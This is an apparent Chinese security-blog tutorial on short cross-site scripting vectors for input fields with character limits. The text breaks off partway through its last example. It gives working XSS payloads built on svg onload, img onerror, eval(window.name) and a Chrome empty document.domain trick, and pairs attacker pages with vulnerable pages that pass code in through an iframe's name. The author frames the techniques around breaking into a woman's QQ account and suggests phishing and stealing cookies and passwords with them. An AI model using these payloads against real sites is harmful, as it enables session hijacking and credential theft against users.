關鍵時候長度不夠怎么辦?
在實際的情況中如果你不夠長怎么辦呢?看醫生?吃藥?做手術?。。。。。。。。。。。。。。算了,既然自身硬件不足,那么就把缺點變優點吧。熟話說:小是小威力好。
熟話說的好,要能長能短,收放自如。在很多的情況中,我們構造的語句是被限制在一定的字符數內。所以這個就是考驗你能短的時候能不能短,能長的時候能不能長的時候到了。
這是一個活生生的悲劇,一個平臺上面,一個二逼朋友有妹子的平臺賬號,但是二逼朋友想進妹子的QQ空間,用平臺的備注插QQ-XSS代碼,但是因為限制的字符太短,最終抱頭痛哭。于是就有了下圖所發生:
#!html
"><script>alert(1)</script>
.............................27 letters?
在實際情況中,可以通過<h1>
短向量或者其他的短向量去測試存在XSS的地方,為什么可以這樣?HTML是一門”不太嚴格”的解釋語言,即使沒有</h1>
,很多瀏覽器也照樣可以解釋為
#!html
<h1>xss</h1>
<h1>
xssS1:
S2:
S3:
但是如果在攻擊的時候,我往往需要用到很多標簽、屬性來達到我們的目的。下面列出一些比較猥瑣的利用
<svg/onload=domain=id>
S1:在chrome瀏覽器存在一個同域讀取漏洞,為什么說同域呢?
S2:在chrome下如果我們訪問www.baidu.com,通過控制臺來設置一下域為空,document.domain="",就會出現以下的錯誤。
S3:為什么說chrome瀏覽器存在一個同域讀取漏洞呢?下面我們通過訪問www.baidu.com.來訪問一下(com后面還有一個.)并設置一下域為空
#!javascript
document.domain=""
設置結果就會出現以下圖片所示。
S4:這個怎么利用?
首先說一個問題,就是說,在同域的情況下,DOM是互通的。就相當于我a可以寫b的,b也可以同樣寫a的。那我們該怎么來利用呢?我們可以干很多事情,比如說重寫頁面釣魚,或者盜取同域Cookie。下面我就用Chrome的控制臺來演示一下這個內容讀取漏洞。
S5:先來看看兩段代碼:
本地構造的攻擊頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<h1>這是a.com./12.html</h1>
<svg/onload=domain=id>
</body>
</html>
存在缺陷的XSS頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<h1>這是b.com./11.html</h1>
<svg/onload=domain=id>
</body>
</html>
S6:下面我們通過訪問我們構造的攻擊頁面,也就是a.com./12.html,然后讀取domain看看,結果如下圖:
S7:然后我們在控制臺里面用window.open()方法打開打開存在缺陷的XSS頁面.然后同樣用domain查看域.
S8:我們從上面就可以查看出,現在a.com.和b.com.都是處于同一域下面,那么就可以實現DOM相通的概念了。
S9:通過DOM重寫頁面測試,測試結果如下圖:
S10:其實這個方法的用處很多,比如說我找到XXX的XSS頁面,我通過把域置空,然后在自己站上構造一個頁面,怎么構造就要看你的思維了,通過同域的DOM操作,可以釣魚的方式盜取COOKIE、密碼等。
<svg/onload=eval(name)>
S1:先把代碼文譯一下:
#!html
<svg/onload=eval(window.name)>
S2:這一段代碼通過svg載入的時候執行onload事件,執行的時候通過windows.name傳遞給eval執行,如果我們自己構造一個攻擊頁面,然后傳遞的XSS代碼呢?下面看一段代碼:
本地構造的攻擊頁面:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="alert(1)"></iframe>
</body>
</html>
存在缺陷的XSS頁面:
#!html
<!DOCTYPE html>
<html>
<body>
<svg/onload=eval(name)>
</body>
</html>
S3:然后運行頁面,測試結果如下:
<i/onclick=URL=name>
S1:上面的代碼文譯一下:
#!html
<i/onclick=document.URL=window.name>
S2:其實這段代碼和上一段差不多多少,這里就不截圖了,簡單的講解一下。通過點擊執行事件把window.name的內容給document.URL然后執行javascript代碼。那么我們可以怎么利用呢?
存在缺陷的XSS頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<i/onclick=URL=name>
</body>
</html>
本地構造的攻擊頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="javascript:alert(1)"></iframe>
</body>
</html>
<img src=x onerror=eval(name)>
S1:先把代碼文譯一下:
#!html
<img src=x onerror=eval(window.name)>
S2:邪惡的eval又來了。通過img元素的src屬性出錯,執行onerror事件,通過邪惡的eval執行window.name里面的代碼。
S3:那我們怎么來實現呢?
本地構造的攻擊頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="alert(1)"></iframe>
</body>